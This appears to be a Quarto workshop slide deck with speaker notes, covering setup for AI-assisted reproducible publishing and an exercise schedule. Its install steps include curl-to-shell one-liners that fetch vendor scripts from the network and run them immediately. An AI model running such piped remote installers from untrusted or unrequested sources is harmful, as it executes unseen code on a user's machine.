Quarto Workshop

🤖 AI-assisted reproducible publishing with Quarto

Ravi Kalia, PhD

🌍 Prefer Spanish or another language? The Google Translate extension translates these slides; code stays as written.

🤖 AI Usage Statement for These Slides

These slides were written with Claude Code (Claude Opus 5.5, Sonnet 5.5, Opus 5 and Fable 5.1), which drafted slides, Quarto files and code and re-rendered the deck. The author directed the work, reviewed and ran the code, and takes full responsibility for the content.

🏷️ Tool + version · 🛠️ Tasks · ✅ Checks · 🙋 Accountability · 📜 what a statement needs

🗓️ Agenda

🇬🇧 Part 1: a London guide · 💧 Part 2: Colombian water-quality research

⏱️	Block	Min
0:00	👋 Welcome · 🎯 objective · 🏁 outcome	10
0:10	🧭 What Is Quarto?	5
0:15	🧰 Ready to Prompt · ✋ fix failed checks · boxes · 🗣️ prompting	15
0:30	🇬🇧 Part 1 · London: Markdown → HTML, rules, environment	35
1:05	☕ Break · 🛟 catch up	15
1:20	🇬🇧 Part 1 · `.qmd` · 🗂️ three audiences · 🌍 publish · 🔁 change an input	65
2:25	🍽️ Meal Break · 🛟 catch up	30
2:55	💧 Part 2 · Colombian water quality: why · data · 🔍 explore · 🧹 prepare · 🧩 cluster	85
4:20	☕ Break · 🛟 catch up	15
4:35	💧 Part 2 · 🏷️ Interpret · ⚠️ correlation ≠ causation · 📤 publish many	75
5:50	🏁 Done · 🔗 show your sites · 👋 finish at 6:00	10

🏠 before the workshop: 🛠️ Setup, 6 steps · then 📖 Read Before the Day · ⭐ = optional, self-paced

Section dividers show the same start times, and Parts 1 and 2 each have an agenda slide with every block’s time. The day is 360 minutes: 300 of teaching in four sessions (65, 65, 85 and 85 minutes) and 60 of breaks. A 15-minute break follows Part 1’s first block, the 30-minute meal falls between the parts, and a second 15-minute break follows Part 2’s Cluster block, its hardest. Times count from the start of the day, so add your start time: from 9:30, the meal is at 11:55 and the day ends at 15:30. Part 1 demonstrates rather than requires the pptx, epub and revealjs exports and the square social ad (⭐), and builds its three audience versions with one prompt that runs sub-agents in parallel. Each part ends with a task that has no supplied prompt: change an input, rebuild and explain which outputs update. In Part 2 the dashboard and ePub are ⭐, and the normal 📤 route copies the finished k-means step. The meal also absorbs a slow publish: anyone whose London site is not live yet finishes it then, with help. The two 🏠 sections are pre-work: 🛠️ Setup (installing the tools, the setup check and the test run) and 📖 Read Before the Day (the assistant, models and costs, AI policy and Markdown in Y minutes), which frees the time for Part 1’s first block: participants meet the assistant, the project rules, the preview and the Python environment there, which is when recovery takes longest. The 🏠 exercises (the six setup steps 20, 4, 5, 10, 4 and 5 min, and Markdown 5 min: 53 min in all) are timed for home: collect each participant’s test-run confirmation before the day and contact anyone who has not sent one. In the room, the 0:15 block first asks who has a failing check: a helper sits with each of them to re-run it and the test run (about nine minutes) while the presenter carries on with the boxes and prompting slides, so the room never waits for a re-run. Exercise times never fill a block: the rest is for showing results and fixing a failed command. ⭐ slides are optional and self-paced, there for people ahead of the room. These are planning estimates; rehearse with a stopwatch and change the agenda, the section clocks and README together.

🎯 Objective · 🏁 Outcome

🎯 Objective

Publish reproducible content with Quarto, written by a coding assistant you direct and check.

🏁 Outcome

Plain-text Markdown becomes

📄 docx 📕 pdf 📊 pptx 🎞️ revealjs 📖 epub ⭐ 🌐 website ✍️ blog 📈 dashboard

🤖 with the code written by your coding assistant

🔁 change an input, rebuild, and explain what updated

🌍 ¿Prefieres leer en español? La extensión Google Translate traduce estas diapositivas; el código no cambia. · Google Translate

🌍 Expected Outcomes

Create and publish online content like these examples:

🇬🇧

London guide

Travel guide · dashboard · flyer

💧

Colombian water safety

Analysis · report · blog

✍️

ML blog

Posts · code · math

🧩 All three, and these slides (📄 index.qmd), are built with Quarto.

🔗 Finish with your own shareable websites.

Say it out loud: this deck is itself a Quarto Reveal.js website, written in Markdown and rendered from source, the same way participants will build theirs. The 📄 link opens its source, index.qmd, on GitHub: an example of the .qmd files participants will write (Parts 1 and 2 are included from slides/_london.qmd and slides/_water.qmd). Open the three linked examples to show the workshop’s expected outcomes: online content that other people can visit and explore. Part 1 builds and publishes a London guide; Part 2 builds and publishes a Colombian water-safety analysis site, including a blog post. The ML blog (“Synthetic Musings”, the deck author’s own blog) is not built in the workshop: it shows where the same blog format leads, a standing site of posts that mix prose, code and math. Participants finish with their own working public URLs, alongside the downloadable formats on the previous slide. Use these examples as a preview of the destination; the steps follow throughout the workshop.

🧭 What Is Quarto?

⏱️ 0:10

Quarto = Markdown → Anything

🆓 Free and open source · no licence to buy, for anyone · MIT License

📚 All Quarto output formats · Quarto logo: Posit, PBC

Say this early: Quarto costs nothing and needs no licence key, for individuals, universities and companies alike. The Quarto CLI is under the MIT License from version 1.4 (GNU GPL v2 before that), and the tools it bundles have their own open-source licences (https://quarto.org/license.html, checked 2026-11-06). The paid part of today is the coding assistant, a separate tool: the next slides come back to that. Pandoc converts the Markdown. Code cells run in Jupyter (Python) or knitr (R), and their results are inserted. Quarto’s principal languages are Python, R, Julia and Observable JavaScript ({ojs} cells, run in the reader’s browser); Jupyter kernels add many more, such as MATLAB or Java (https://quarto.org/docs/faq/, https://quarto.org/docs/computations/ojs.html). knitr’s engines run {sql}, {c} and {bash} cells (https://pkg.yihui.org/rmarkdown-book/language-engines.html); in Jupyter, ! lines run shell commands (https://quarto.org/docs/computations/execution-options.html#shell-commands). Today we use Python only. The official list groups documents (HTML, PDF, MS Word, OpenDocument, ePub), presentations (Revealjs, PowerPoint, Beamer), Markdown flavours, wikis and more (Jupyter, JATS, RTF, …): https://quarto.org/docs/output-formats/all-formats.html. ePub is the e-book format: https://quarto.org/docs/reference/formats/epub.html. Websites and blogs (https://quarto.org/docs/websites/) and dashboards (https://quarto.org/docs/dashboards/) are built from the same files. All checked 2026-10-30. The Quarto logo is a Posit, PBC trademark, used here to refer to Quarto (https://quarto.org/trademark.html).

🚫🤖 Quarto Is Not AI

⚙️

Traditional software

same input → same output, every time

📚

Built for publishing

quality documents, slides and websites

🤖

The assistant is separate

it writes the files · Quarto turns them into formats

🔁 No AI inside Quarto: it follows your source exactly

Participants sometimes assume Quarto is an AI tool because the workshop uses a coding assistant. It is not: Quarto is open-source publishing software (built on Pandoc, with Jupyter or knitr running code) that reads Markdown and code and writes the same outputs every time for the same inputs and data. It does not generate text, code or figures by itself and sends nothing to an AI service. The coding assistant is a separate tool that writes and edits the source files on request; Quarto then renders them. That split matters for trust: the assistant can make mistakes, so you check its files, while a render is repeatable. Code cells you add run whatever code they contain, so if a cell calls an AI service, that is your code, not Quarto. See https://quarto.org/ (not yet re-checked for this slide).

🔁 Reproducible: Same Source, Same Result

📄

One source

text + code + data in plain files

🧮

Numbers are computed

never typed or pasted in

▶️

One command

quarto render rebuilds everything

🕰️

Versioned with git

every change saved · uv.lock pins the tools

✏️ Change one value in the data → render → table, chart and sentence all update

🏷️ git (set up next) records which version of the files produced which result

💬 You correct one number in the data. What do you retype in the report?

Reproducible means that someone else, or you in six months, can rebuild the same results from the same files with one command, and that you can see where every number came from. It is the reason for the workshop’s structure. The report is source, not a pasted result: its figures, tables and numbers in sentences are computed by code cells and inline code from the data files, so changing an input and re-rendering updates every output without retyping (the “change an input, rebuild, and explain what updated” outcome). Reproducibility depends on versioning: git, the version control tool installed in Setup, saves a numbered snapshot (a commit) of the source, data and settings together with a message saying what changed and why. Any earlier snapshot can be restored, two versions compared, and a result tied to the exact files that made it; without versions, “the same source” is whatever happens to be on the disk today. GitHub then keeps a shared copy, and the same history backs the AI usage statement: you can show what the assistant changed and what you reviewed. The project’s pyproject.toml and uv.lock are versioned too: they pin the Python packages, so a participant’s machine and a colleague’s give the same environment. This matters most with a coding assistant: it may write code that looks right and is not, so we ask it to compute from the data and then render and check, and anyone can re-run the render to confirm. Reproducible does not mean correct: a wrong analysis reproduces perfectly, so we still check results against their sources. Good answer to the check: nothing; fix the data and re-render.

🛠️ Setup

🏠 before the workshop

🧭 6 steps, in order · ✅ the 🧪 test run says 42 = ready

🧭 Setup Map: 6 Steps

🏠 before the workshop

🧭	Do this	✅ It worked when
1	🧰 Get your computer ready	`git --version` runs · 🪟 `wsl -l -v` shows VERSION 2
2	📁 Move around the terminal	after `cd ~` the prompt shows `~`
3	🧩 Install a coding assistant	it starts, signed in
4	🐧 Assistant installs the tools	it prints every version
5	🛠️ Setup check	every check says OK
6	🧪 Test run	`hello.pdf` says 42

🧭 = do it · 📖 = just read · 🆘 stuck → AI chat, then Discord · ✅ all 6 done? 📖 Read before the day

🎒 Have ready: a free GitHub account · a paid assistant plan or API key · the Discord invite

Participants said the setup slides were hard to follow, mostly on Windows (workshop of 2026-11-05): they could not tell which slides to do and which to read, or where they were. So the six steps now run back to back. Before them come only the slides that prepare for them (the connection, and where to get help); between them only 👀 What You Should See, the screens step 3 ends on, and ⌨️ Two Places to Type, which step 4 needs; their pills say so. Everything else to read (how the assistant works, models and costs, the root folder, AI policy, Markdown) is in its own 🏠 section, 📖 Read Before the Day, after the test run, so nobody installing pages past a price table. Every slide that must be done carries a “🧭 Step n/6” pill and every reading slide a “📖” pill. Each row links to its step, so someone returning after an error can find their place. Step 1 is one slide for every system; Windows goes on to windows-setup.qmd, a separate page, because its procedure needs one action at a time, a “you should see” after each, and a stuck-table, and Mac and Linux participants no longer page through it. Each step has an observable check, which is the row’s last column. Sign-up and email checks can take hours, so the accounts come first. Ask Windows participants for the wsl -l -v output before the day (step 1), since WSL needs an administrator account, a restart and sometimes BIOS access.

📶 You Need a Stable, Fast Internet Connection

🏠 before the workshop 📖 reading

⬇️

Big downloads

Ubuntu, Quarto, the assistant, Python packages, data

☁️

The assistant is online

every reply needs the connection · it stops when the Wi-Fi drops

🏠

Do setup at home

wired or strong Wi-Fi · avoid hotels, trains, firewalled work networks

🔌 Plugged in · 📵 No VPN or proxy if you can · 🧪 Test run done at home = ready

🆘 Error? Ask an AI Chat

🏠 before the workshop 🆘 when stuck

📋

Copy

the command you ran + the full error text

🌐

Paste into a web chat

Gemini, Claude or ChatGPT in your browser, with your system (Windows + Ubuntu, or Mac)

🔧

Try the fix

one suggestion at a time · read it before you run it

🔁

Still failing?

paste the new error · then Discord #help

🔒 No passwords, keys or private data in the paste

Installs fail before the coding assistant works, and sometimes the assistant itself is what fails, so the participant needs a second route that does not depend on it: a free web chat in the browser (Gemini, Claude or ChatGPT). Good habits: paste the exact command and the whole error, say the operating system (for WSL: Windows with Ubuntu on WSL), say what step of the deck you are on, and try one suggested fix at a time. Read each command before running it: a chat can be wrong, and never run a command that deletes things or asks for administrator rights without understanding why. Remove passwords, tokens, API keys and private data first (the AI-policy slide later explains why). If two suggestions fail, post the error and what you tried in Discord. This is the same habit the workshop teaches with the assistant: you direct, check and take responsibility. The room rule remains: two minutes stuck, ask.

💬 Discord: Our Workshop Room

🏠 before the workshop 💬 get help

🔗

Join the server

open the invite link from the organiser · pick a name we know

#️⃣

Text channels

one topic each, like #help · type, paste, share screenshots

🔊

Voice channels

click to join, click to leave · mute until you speak

📣

Tag someone

type @ and their name · they get a notification

🆘 Stuck? Post in the help channel: what you ran, the error, a screenshot

Discord is where the organiser and participants talk during the workshop: questions, error screenshots and links go in the text channels, and the voice channels are for the group and for pairing. Send the invite link with the pre-work, and ask people to join before the day so that problems with accounts or the app show up early. A server is the whole workshop space; it holds channels. Text channels are named with a #, voice channels have a speaker icon. Discord runs in the browser, as a desktop app and on a phone. Also useful: reply to a message to answer it, add a reaction to say “seen” without noise, and mute channels you do not need. When someone is stuck, ask for the exact command, the full error text and a screenshot, and remember the room rule: two minutes stuck, then catch up. The organiser supplies the real invite link and channel names for each run; this deck does not publish a link.

🔁 Discord ↔︎ WhatsApp

🏠 before the workshop 💬 get help

💬 Discord	📱 WhatsApp
Server	Community
Text channel	Group chat
Voice channel	Group call you can join and leave
`@name` tag	`@name` mention
Reply to a message	Reply to a message
Direct message	Chat with one person
Invite link	Group invite link
Reaction	Reaction

⚠️ Unlike a WhatsApp group, a Discord server has many channels: pick the right one

🧰 Get Your Computer Ready

🏠 before the workshop 🧭 Step 1/6 do only your system’s line

🪟 Windows 👉 Open the Windows setup page

🍎 Mac

xcode-select --install

🐧 Ubuntu, Debian

sudo apt update && sudo apt install -y curl git

🪟 9 short steps · 🛡️ admin account · 🔁 one restart: 📱 open it on your phone too

🍎 ⌘ Space, type Terminal, Enter · paste · click Install · wait

🐧 Ctrl+Alt+T · password stays hidden · other Linux: install curl and git your usual way

Exercise · ⏱️ 20 min

git --version prints a version. 🪟 In Ubuntu, and wsl -l -v shows VERSION 2.

Every system gets ready here, so nobody skips step 1. The commands install git and curl, which the next steps assume. Windows is the big one, and participants found it the hardest at the workshop of 2026-11-05. It lives on its own page, windows-setup.qmd, because a beginner needs one action at a time and a “you should see” after each, in a page that scrolls, can be kept beside the terminal, survives the restart on a phone, and is translated by the browser. The page opens with the picture of Windows as a house and Ubuntu as a room inside it, then covers the WSL install in an administrator PowerShell, the restart, the same command again in a normal window (distributions are per user, so someone else’s administrator password must not install it), the first Ubuntu start, the wsl -l -v check, copy and paste, sudo apt install curl git, four habits, and the stuck-table. The command runs twice because on current WSL, when a restart is needed, wsl --install only enables Windows features and installs no distribution (https://github.com/microsoft/WSL/blob/3.0.3/src/windows/common/WslClient.cpp#L557-L564, checked 2026-11-06). --no-launch keeps first-time setup out of the administrator PowerShell tab, whose folder would be /mnt/c/WINDOWS/system32; the Start menu’s Ubuntu opens in ~. Without administrator rights or BIOS access WSL cannot be installed: collect such participants before the day and pair them with a neighbour (no native Windows route is supported).

On a Mac, the first git opens a dialog to install Apple’s Command Line Tools (https://git-scm.com/book/en/v2/Getting-Started-Installing-Git), so left alone it interrupts the assistant’s install at step 4. xcode-select --install makes that a deliberate step at home (https://docs.brew.sh/Installation, which also says Homebrew needs these tools only to build from source). Quarto’s Mac download is a standalone .pkg (https://quarto.org/docs/download/). All checked 2026-11-06. Apple’s own page could not be read by the check, and the dialog’s wording and download time are not documented here. “Already installed” from that command is fine: go on. sudo asks for the Linux password, which stays hidden as you type. On other Linux, install curl and git with its package manager. Written from documentation and not yet tried on a clean Mac or a Windows machine: run both once before teaching.

📁 Move Around the Terminal

🏠 before the workshop 🧭 Step 2/6 🚀 Open it: 🪟 Start → Ubuntu · 🍎 ⌘ Space → Terminal · 🐧 Ctrl+Alt+T

ana@LAPTOP-4K7Q2PM:~$ pwd
/home/ana
ana@LAPTOP-4K7Q2PM:~$ date
Sat Nov  7 09:14:52 -05 2026
ana@LAPTOP-4K7Q2PM:~$ mkdir demo
ana@LAPTOP-4K7Q2PM:~$ ls
demo
ana@LAPTOP-4K7Q2PM:~$ cd demo
ana@LAPTOP-4K7Q2PM:~/demo$ mkdir notes
ana@LAPTOP-4K7Q2PM:~/demo$ cd notes
ana@LAPTOP-4K7Q2PM:~/demo/notes$ pwd
/home/ana/demo/notes
ana@LAPTOP-4K7Q2PM:~/demo/notes$ cd ..
ana@LAPTOP-4K7Q2PM:~/demo$ cd ~
ana@LAPTOP-4K7Q2PM:~$ rmdir demo/notes demo
ana@LAPTOP-4K7Q2PM:~$ ▊

📍 pwd where am I?

📅 date today

👀 ls what is here?

🆕 mkdir name make a folder

🚪 cd name go in · ⬆️ cd .. up one

🏠 cd ~ home, from anywhere

🗑️ rmdir name delete folder

Exercise · ⏱️ 4 min

you typed these, rmdir raised no error, and the prompt shows ~.

👀 Watch, then type the bold words, Enter after each · ~ = your home folder · 🍎 Mac: ana@mac ~ %, last folder only

Everyone, on every system: the rest of the workshop happens in a terminal, a window where you type commands instead of clicking. The picture is Ubuntu on Windows (WSL) in Windows Terminal, where Windows 11 opens 🪟 Start → Ubuntu; Windows 10’s plainer window, a Mac or a Linux terminal look different but answer the same. The terminal opens in your home folder, written ~ (here /home/ana; on a Mac /Users/ana). pwd prints the current folder, date the day and time (-05 is the time zone, as in Colombia), ls lists the folder (Ubuntu shows folders in blue), mkdir name creates a folder, cd name enters it, cd .. goes up one level and cd ~ (or cd alone) goes straight home from anywhere. The bold words are what you type. The part up to $, the prompt, is the terminal saying who and where you are and that it is ready: ana is the Linux user, LAPTOP-4K7Q2PM the Windows computer’s name (yours differs), and the folder after the colon changes with every cd: ~/demo, ~/demo/notes, back to ~/demo, then ~. The other lines are the answers. The example is a picture of a session, so it cannot be selected or copied: typing it is the exercise. On a Mac the prompt is ana@mac ~ %, ending in %, not $: same meaning; it shows only the last folder, with no colon (ana@mac demo %, ana@mac notes %), and pwd gives the full path. Tab completes names, and the up arrow recalls the previous command: both save typing mistakes, so show them. Type these rather than pasting them: the hands remember. Later slides ask you to run mkdir -p london-guide && cd london-guide: this is that (-p makes no fuss if the folder exists, && means “and then, if that worked”). Ask while they type: after cd .., what would pwd print? Good answer: /home/ana/demo. Do the exercise from the home folder, where the terminal opens. rmdir name removes an empty folder (it refuses if anything is inside, which is the safe behaviour); rmdir demo/notes demo at the end removes both, inner one first, so the exercise can be repeated.

🧩 Install a Coding Assistant

🏠 before the workshop 🧭 Step 3/6 🪟 in Ubuntu · 🍎 claude not found? Paste the fix it printed, then a new tab

✳️ Claude Code · setup

curl -fsSL https://claude.ai/install.sh | bash

🌀 Codex · guide

curl -fsSL https://chatgpt.com/codex/install.sh | sh

♊ Antigravity · docs

curl -fsSL https://antigravity.google/cli/install.sh | bash

1️⃣ Pick one: paste its line, press Enter · 2️⃣ New tab: 🪟 Ctrl+Shift+D · 🍎 ⌘T · 🐧 Ctrl+Shift+T

3️⃣ Start it: mkdir -p ~/setup && cd ~/setup, then claude, codex or agy · trust this folder? ↓ to Yes, then Enter (👀 screens)

4️⃣ Sign in: no browser? Copy the link it prints, whole, into yours · a code appears? Paste it back here

Exercise · ⏱️ 5 min

the assistant answers when you type hello. Then type /exit.

Do this before the workshop. curl ... | bash downloads the vendor’s small install script and runs it: only do this with links you trust, here each vendor’s own documented command. A new tab is needed because a terminal learns where programs are when it starts, so it cannot find one installed a moment ago; that is the usual command not found straight after an install. On a Mac a new tab is not enough for Claude Code: its installer leaves ~/.local/bin off the PATH and prints the fix under “Setup notes” (https://code.claude.com/docs/en/troubleshoot-install, checked 2026-11-06). Starting in ~/setup means the first “trust this folder?” answer is safe; 📂 Your Root Folder, in 📖 Read Before the Day, explains why. Sign-in without a browser, as in WSL, ends with a code to paste back at Paste code here; if pasting does nothing, right-click or Shift+Insert (same page). Sign in with an account that has access to the tool: Claude Code needs a Pro, Max, Team, Enterprise or Console account (https://code.claude.com/docs/en/setup), Codex a ChatGPT sign-in or an API key (https://learn.chatgpt.com/docs/auth), Antigravity a Google account. WSL cannot open a browser: Claude Code and Antigravity print a URL, which you copy into the Windows browser, then paste the code back; if Codex’s browser sign-in fails, codex login --device-auth (first enable device codes in ChatGPT security settings). Sign-up and email verification can take hours, so do not leave them for the day. Account and sign-in details checked 2026-11-03; they change often, so re-check them before teaching. Claude Code installer: https://code.claude.com/docs/en/setup. Codex standalone installer for macOS and Linux: https://learn.chatgpt.com/docs/codex/cli, which also lists Windows, npm install -g @openai/codex and Homebrew. Google’s Antigravity CLI (agy): https://antigravity.google/docs/getting-started?tab=cli, which also lists PowerShell and CMD installers for Windows. It replaced Gemini CLI for unpaid-tier and Google One users on 18 June 2026 (https://www.geminicli.com/docs/get-started/installation); existing Gemini CLI settings are migrated on first launch (https://antigravity.google/docs/cli/gcli-migration/). All checked 2026-10-30. Start the assistant inside the exercise folder, and never run two assistants writing to one folder.

👀 Started? What You Should See

🏠 before the workshop 🧭 Step 3/6, screen by screen

ana@LAPTOP-4K7Q2PM:~$ mkdir -p ~/setup && cd ~/setup
ana@LAPTOP-4K7Q2PM:~/setup$ claude▊

Welcome to Claude Code v2.1.319

 Claude Code can be used with your Claude
 subscription or billed based on API usage through
 your Console account.

 Select login method:

 ❯ 1. Claude account with subscription · Individual,
      Team, or Enterprise
   2. Anthropic Console account · API usage billing
   3. 3rd-party platform · Amazon Bedrock, Microsoft
      Foundry, Google Vertex AI

────────────────────────────────────────────────────
 Accessing workspace:

 /home/ana/setup

 Quick safety check: Is this a project you created
 or one you trust? (Like your own code, a
 well-known open source project, or work from your
 team). If not, take a moment to review what's in
 this folder first.

 Claude Code'll be able to read, edit, and execute
 files here.

 Security guide

 ❯ No, exit
   Yes, I trust this folder

 Enter to confirm · Esc to cancel

           Claude Code v2.1.319
 ▐▛███▛█   Opus 5.5 with xhigh effort
▝▜██████▀  Claude Max
 ▝▝   ▝▝   ~/setup

────────────────────────────────────────────────────
❯ Try "write a test for <filepath>"
────────────────────────────────────────────────────

ana@LAPTOP-4K7Q2PM:~$ mkdir -p ~/setup && cd ~/setup
ana@LAPTOP-4K7Q2PM:~/setup$ codex▊

  Welcome to Codex, OpenAI's command-line coding
agent

  Choose how you want to use Codex.

> 1. Sign in with ChatGPT
     Usage included with Plus, Pro, Business, and
Enterprise plans

  2. Sign in with Device Code
     Sign in from another device with a one-time
code

  3. Sign in another way
     Use an API key or another provider

  Press enter to continue

  Folder access
  /home/ana/london-guide

  Trust this folder? Codex can read, edit, and run
  files here, subject to your permission settings.
  Folder settings can run code automatically, even
  without a model request. Continue only if you
  trust these files. Your trust decision will be
  saved.

› 1. Trust and continue
  2. Back to Agent Command Center

  enter continue · esc back

>_ OpenAI Codex (v0.167.0)
~/setup

› Ask Codex to do anything

Sol low · ~/setup
← for agents · ? for shortcuts

⌨️ Start: in the terminal, type the bold words, then Enter · ✳️ first asks for a text style: Enter · ➡️ each next screen

🔑 Sign in: Enter on 1. · no browser? Copy the link it prints, whole, into yours · 🌀 or 2., a code

🛡️ Trust: ✳️ ↓ to Yes, I trust this folder, then Enter · quit by mistake? Type claude again · 🌀 not in ~/setup: later, in a git folder

✅ Ready: type hello, then Enter, and it answers · /exit quits

Step 3 screen by screen: each → shows the next screen in both windows, and the box below says what to press. The windows are drawn as Ubuntu on Windows (WSL) in Windows Terminal, like 📁 Move Around the Terminal; the screens inside are the same on a Mac or Linux. Captured on 2026-11-07 from Claude Code 2.1.319 and codex-cli 0.167.0 on macOS, each started in a new, empty folder in a 52-column terminal, with no prompt sent. Sign-in is a first start with an empty settings folder (CLAUDE_CONFIG_DIR, CODEX_HOME); Claude Code first asks for a text style (Dark mode is selected, so Enter), and its animated banner above the sign-in choices is cut. Option 1 is the subscription sign-in in both: it opens the browser, or, where there is none, as in WSL, prints a link to copy into the browser. Codex’s option 2, a device code, is the fallback when the browser sign-in fails. Trust: Claude Code asks about every new folder, and its pointer starts on “No, exit”, so pressing Enter straight away quits: press ↓ first. Quitting is harmless: start it again. Codex asked nothing in a plain folder such as ~/setup; in a new git repository it showed “Folder access” with “1. Trust and continue” selected (shown with the path changed to /home/ana/london-guide), so Codex users meet the question later, in a project that is a git repository. Ready: the lines beside Claude Code’s logo name the signed-in account’s model and plan (here the capturing account’s: Opus 5.5, Claude Max); yours will differ. Only folder paths are changed, to /home/ana/... and ~/setup; the empty rows above each input line and the status lines below it (model, effort, permission mode) are cut. The ana@LAPTOP-4K7Q2PM prompt in the first screen is drawn, not captured. Antigravity (agy) is not shown. Screens change between versions: re-capture them before each run. 📂 Your Root Folder, in 📖 Read Before the Day, explains what trusting a folder allows.

⌨️ Two Places to Type

🏠 before the workshop 📖 read before step 4

🖥️ The terminal · its line ends in $ (🍎 %)

ana@laptop:~/setup$ pwd

commands: pwd, cd, quarto preview

🤖 The assistant · it runs inside the terminal

> Which tools are missing?

plain language, and / commands: /exit

🚪 In: type claude · Out: type /exit · box colours say which place

➕ Assistant busy and a green box to do? Second tab: 🪟 Ctrl+Shift+D · 🍎 ⌘T · 🐧 Ctrl+Shift+T

😌 Wrong place? Usually harmless: command not found, or the assistant just reads it

💬 The assistant is running and a slide says to type gh auth login. Where do you type it?

This is the mix-up that costs beginners the most time, so it gets its own slide before the first prompt. The assistant takes over the terminal tab while it runs: what you type goes to it, not to the shell, until /exit. Green “You type” boxes go in the terminal; violet “Ask your coding assistant” boxes go in the assistant. The same colours mark every hands-on slide, and the three-boxes slide returns to them in the room. A prompt typed at $ usually gives command not found, and a command typed into the assistant is usually read as a request, so neither is a disaster: look at the line you are on and try again. On a Mac the terminal’s line ends in %. Good answer to the check: in a second terminal tab, because gh auth login needs you and the assistant is using the first tab; /exit first also works, but ends the conversation.

🐧 The Assistant Installs the Tools

🏠 before the workshop 🧭 Step 4/6 🪟 in Ubuntu · 👋 /exit first · not Claude? codex or agy

mkdir -p ~/setup && cd ~/setup && claude

Check which of `git`, `curl`, `uv`, `quarto` (1.10 or newer) and the GitHub CLI `gh` are missing on this computer. Install only those, using each tool's official method for my system. Never run `sudo`, or an installer that asks for a password, yourself: print each such command alone in a code block, using full paths, then wait until I say done. Then print every version.

👀 Read each command it asks about, then approve · 🔐 A command for you (sudo = administrator)? Paste it into a second tab, type your password (hidden), then type done here

🍎 Password = your Mac login · “Command line developer tools” pop-up? Click Install, wait, then type done

Exercise · ⏱️ 10 min

it prints a version for all five tools. Then type /exit.

The assistant now does what a block of install commands did before, so the slide holds one prompt. sudo means “do this as administrator”. Leaving with /exit matters: uv’s and Quarto’s commands are only found by a terminal started after the install, and the next step starts the assistant again from a new tab. It must be installed first (step 3). An assistant cannot type a password, so the prompt asks it to hand those commands back, with full paths because a second tab starts in the home folder; the participant pastes them in that tab, where sudo asks for the Linux password chosen at the first start (typing shows nothing), then says done, so nobody has to copy hundreds of lines of apt output back. On a clean Mac, the first use of git opens Apple’s “command line developer tools” dialog, and Homebrew’s installer asks for the Mac login password. Behind the prompt the assistant normally runs sudo apt update && sudo apt install -y curl git, uv’s installer (https://docs.astral.sh/uv/getting-started/installation/, ~/.local/bin, so only a new shell sees it), the Quarto .deb from the GitHub release page (Quarto has no Ubuntu apt package, https://quarto.org/docs/download/) and the GitHub CLI (Ubuntu’s own gh package is discouraged, https://github.com/cli/cli/blob/trunk/docs/install_linux.md). On macOS it uses Homebrew or the same official installers. Needs Quarto 1.10 or later. Behind a corporate proxy the downloads can fail: tell the organiser before the day. Not yet tried on a Windows machine with an assistant: run it once in a fresh Ubuntu before teaching.

🛠️ Setup Check

🏠 before the workshop 🧭 Step 5/6 🪟 in Ubuntu · ➕ new tab first · not Claude? codex or agy

cd ~/setup && claude

Print the versions of `quarto` (1.10 or newer), `uv`, `gh` and this assistant, and run `quarto check` (no Jupyter or LaTeX yet is fine: count it as OK). If `git config --global user.name` or `user.email` is unset, ask me for my name and my GitHub email, then set them. Clone https://github.com/project-delphi/quarto-workshop.git to `~/quarto-workshop` (if it exists, `git pull` only when its working tree is clean) and list its `checkpoints/`. Run `gh auth status`. Run every check even if one fails, then report each as OK or not.

🔑 Not “Logged in”? In a second tab type gh auth login: GitHub.com → HTTPS → Yes → web browser, copy the code to github.com/login/device, then ask the assistant to check gh again · 🔧 Tool missing? Rerun the 🐧 install prompt

Exercise · ⏱️ 4 min

the assistant reports every check as OK, including gh “Logged in”.

Quarto 1.10 or newer is needed (current 1.11.x); older ones fail on the London white paper and the Typst PDF settings. quarto check reports Pandoc and Typst. Its Python and Jupyter lines may show “(None)”, or “Jupyter is not available” with an install hint to ignore: each project gets its own Python environment from uv, by a prompt in each part, so there is nothing to install for Python now. uv also downloads a Python if the computer has none. Install uv with curl -LsSf https://astral.sh/uv/install.sh | sh (on Windows, inside Ubuntu) or brew install uv: https://docs.astral.sh/uv/getting-started/installation/ (checked 2026-10-30). Do not debug kernels on stage. A fresh Git has no identity and git commit fails, hence git config: use the name and email of your GitHub account (or its noreply address). The prompt asks for the identity only when git config user.name is unset; it makes the assistant ask for them, so the participant types their own, and you should check the answers are theirs, not placeholders. If ~/quarto-workshop already exists, the prompt updates it with git pull instead of cloning, so the checkpoints and catch-up steps are current. gh auth login stays a typed command: it is an interactive browser sign-in the assistant cannot complete. Start the assistant first (claude, codex or agy) in ~/setup. The cloned workshop repository supplies the checkpoints and the water data. gh auth status must show a logged-in account before publishing. PDFs use format: typst, bundled with Quarto, so no LaTeX is needed: https://quarto.org/docs/output-formats/typst.html. GitHub CLI install and gh auth login: https://cli.github.com/ (both checked 2026-10-30).

🧪 Test Run: Quarto → PDF

🏠 before the workshop 🧭 Step 6/6 👋 /exit first · not Claude? codex or agy

mkdir -p ~/quarto-test && cd ~/quarto-test
claude

Run `uv init --bare` and `uv add ipykernel nbclient nbformat pyyaml`. Create hello.qmd (html and typst formats): a Python cell computing `6 * 7` and an inline-code sentence showing it. Render it with `uv run quarto render hello.qmd`; check hello.html and hello.pdf both say 42.

👀 Finished? /exit, then open the folder: 🪟 explorer.exe . · 🍎 open . · 🐧 xdg-open .

🤷 Part 1 explains hello.qmd · ⚠️ “Kernel is running over TCP”: harmless

Exercise · ⏱️ 5 min

you opened both files, each says 42, and you told the organiser.

The setup check proves the tools are installed; this proves they work together, which is what the first hour needs: the assistant is signed in, can write a file and run commands you approve, uv builds a project environment, Quarto runs Python through it, and Typst writes a PDF. It also fills uv’s cache, so Part 1’s environment step is quicker. Use codex or agy instead of claude if that is your assistant. Ask participants to confirm before the day (a reply to the invitation is enough) and follow up with anyone who has not, or whose run failed: these are the problems that otherwise surface in Part 1’s first block. Every render prints [IPKernelApp] WARNING | Kernel is running over TCP without encryption; in the dry run of 2026-11-01 (ipykernel 7.4) it came with every successful render and changed nothing in the output. Tested 2026-10-31 with Quarto 1.6.40 (participants now get 1.11.x; the Quarto 1.10 or newer rule stands, so re-run it once) and uv in an empty folder (commands run by hand, not through an assistant). The folder is disposable: delete ~/quarto-test afterwards. It uses YAML, a code cell and inline code before their slides on purpose: it is a black-box check that the tools work together, not a lesson, and the slide says Part 1 explains it.

📖 Read Before the Day

🏠 before the workshop

🤖 the assistant · 💸 costs · 📜 AI policy · 📝 Markdown

🧠 Model + 🔧 Harness = 🤖 Assistant

🏠 before the workshop 📖 reading

🧠

Model

reads and writes text, asks for tools

🔧

Harness

files, commands, permissions

🤖

Coding assistant

